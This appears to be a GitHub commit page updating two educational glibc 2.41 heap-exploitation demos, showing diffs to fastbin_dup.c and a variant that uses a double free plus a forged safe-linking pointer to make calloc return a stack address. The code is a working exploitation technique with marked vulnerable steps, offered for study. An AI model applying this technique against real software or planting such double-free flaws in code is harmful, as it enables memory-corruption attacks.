Skip to content

Commit a43e1e8

Browse files
committed
fix fastbin_dup-based examples for 2.41
1 parent 430b858 commit a43e1e8

File tree

2 files changed

+66
-46
lines changed

2 files changed

+66
-46
lines changed

glibc_2.41/fastbin_dup.c

Lines changed: 24 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -8,25 +8,27 @@ int main()
88

99
printf("This file demonstrates a simple double-free attack with fastbins.\n");
1010

11-
printf("Fill up tcache first.\n");
12-
void *ptrs[8];
13-
for (int i=0; i<8; i++) {
14-
ptrs[i] = malloc(8);
15-
}
11+
printf("Allocate buffers to fill up tcache and prep fastbin.\n");
12+
void *ptrs[7];
13+
1614
for (int i=0; i<7; i++) {
17-
free(ptrs[i]);
15+
ptrs[i] = malloc(8);
1816
}
1917

2018
printf("Allocating 3 buffers.\n");
2119
int *a = calloc(1, 8);
2220
int *b = calloc(1, 8);
2321
int *c = calloc(1, 8);
22+
printf("1st malloc(8): %p\n", a);
23+
printf("2nd malloc(8): %p\n", b);
24+
printf("3rd malloc(8): %p\n", c);
2425

25-
printf("1st calloc(1, 8): %p\n", a);
26-
printf("2nd calloc(1, 8): %p\n", b);
27-
printf("3rd calloc(1, 8): %p\n", c);
26+
printf("Fill up tcache.\n");
27+
for (int i=0; i<7; i++) {
28+
free(ptrs[i]);
29+
}
2830

29-
printf("Freeing the first one...\n");
31+
printf("Freeing the first chunk %p...\n", a);
3032
free(a);
3133

3234
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
@@ -36,13 +38,23 @@ int main()
3638
free(b);
3739

3840
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
41+
/* VULNERABILITY */
3942
free(a);
43+
/* VULNERABILITY */
44+
45+
printf("In order to use the free list for allocation, we'll need to empty the tcache.\n");
46+
printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.");
47+
printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd");
48+
for (int i = 0; i < 7; i++) {
49+
ptrs[i] = malloc(8);
50+
}
4051

4152
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
42-
a = calloc(1, 8);
53+
puts("Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here.");
54+
a = malloc(8);
4355
b = calloc(1, 8);
4456
c = calloc(1, 8);
45-
printf("1st calloc(1, 8): %p\n", a);
57+
printf("1st malloc(8): %p\n", a);
4658
printf("2nd calloc(1, 8): %p\n", b);
4759
printf("3rd calloc(1, 8): %p\n", c);
4860

Lines changed: 42 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -1,77 +1,85 @@
11
#include <stdio.h>
22
#include <stdlib.h>
33
#include <assert.h>
4+
#include <unistd.h>
45

56
int main()
67
{
7-
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
8-
"returning a pointer to a controlled location (in this case, the stack).\n");
8+
setbuf(stdout, NULL);
99

10+
printf("This file extends on fastbin_dup.c by tricking malloc into\n"
11+
"returning a pointer to a controlled location (in this case, the stack).\n");
1012

11-
fprintf(stderr,"Fill up tcache first.\n");
13+
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
14+
printf("The address we want calloc() to return is %p.\n", stack_var + 2);
1215

16+
printf("Allocate buffers to fill up tcache and prep fastbin.\n");
1317
void *ptrs[7];
1418

1519
for (int i=0; i<7; i++) {
1620
ptrs[i] = malloc(8);
1721
}
18-
for (int i=0; i<7; i++) {
19-
free(ptrs[i]);
20-
}
21-
22-
23-
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
2422

25-
fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);
26-
27-
fprintf(stderr, "Allocating 3 buffers.\n");
23+
printf("Allocating 3 buffers.\n");
2824
int *a = calloc(1,8);
2925
int *b = calloc(1,8);
3026
int *c = calloc(1,8);
27+
printf("1st calloc(1,8): %p\n", a);
28+
printf("2nd calloc(1,8): %p\n", b);
29+
printf("3rd calloc(1,8): %p\n", c);
3130

32-
fprintf(stderr, "1st calloc(1,8): %p\n", a);
33-
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
34-
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
31+
printf("Fill up tcache.\n");
32+
for (int i=0; i<7; i++) {
33+
free(ptrs[i]);
34+
}
3535

36-
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
36+
printf("Freeing the first chunk %p...\n", a);
3737
free(a);
3838

39-
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
39+
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
4040

41-
fprintf(stderr, "So, instead, we'll free %p.\n", b);
41+
printf("So, instead, we'll free %p.\n", b);
4242
free(b);
4343

44-
//Calling free(a) twice renders the program vulnerable to Double Free
45-
46-
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
44+
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
45+
/* VULNERABILITY */
4746
free(a);
47+
/* VULNERABILITY */
48+
49+
printf("In order to use the free list for allocation, we'll need to empty the tcache.\n");
50+
printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.");
51+
printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd");
52+
for (int i = 0; i < 7; i++) {
53+
ptrs[i] = malloc(8);
54+
}
4855

49-
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
56+
printf("Now the free list has [ %p, %p, %p ]. "
5057
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
5158
unsigned long *d = calloc(1,8);
5259

53-
fprintf(stderr, "1st calloc(1,8): %p\n", d);
54-
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
55-
fprintf(stderr, "Now the free list has [ %p ].\n", a);
56-
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
60+
printf("1st calloc(1,8): %p\n", d);
61+
printf("2nd calloc(1,8): %p\n", calloc(1,8));
62+
printf("Now the free list has [ %p ].\n", a);
63+
printf("Now, we have access to %p while it remains at the head of the free list.\n"
5764
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
5865
"so that calloc will think there is a free chunk there and agree to\n"
5966
"return a pointer to it.\n", a);
67+
puts("Note that this is only needed for calloc. It is not needed for malloc.");
6068
stack_var[1] = 0x20;
6169

62-
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
63-
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
64-
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
65-
unsigned long ptr = (unsigned long)stack_var;
70+
printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
71+
printf("Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
72+
printf("^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
73+
unsigned long ptr = (unsigned long)stack_var+0x10;
6674
unsigned long addr = (unsigned long) d;
6775
/*VULNERABILITY*/
6876
*d = (addr >> 12) ^ ptr;
6977
/*VULNERABILITY*/
7078

71-
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
79+
printf("3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
7280

73-
void *p = calloc(1,8);
81+
void *p = calloc(1, 8);
7482

75-
fprintf(stderr, "4th calloc(1,8): %p\n", p);
76-
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
83+
printf("4th calloc(1,8): %p\n", p);
84+
assert((unsigned long)p == (unsigned long)stack_var+0x10);
7785
}

0 commit comments

Comments
 (0)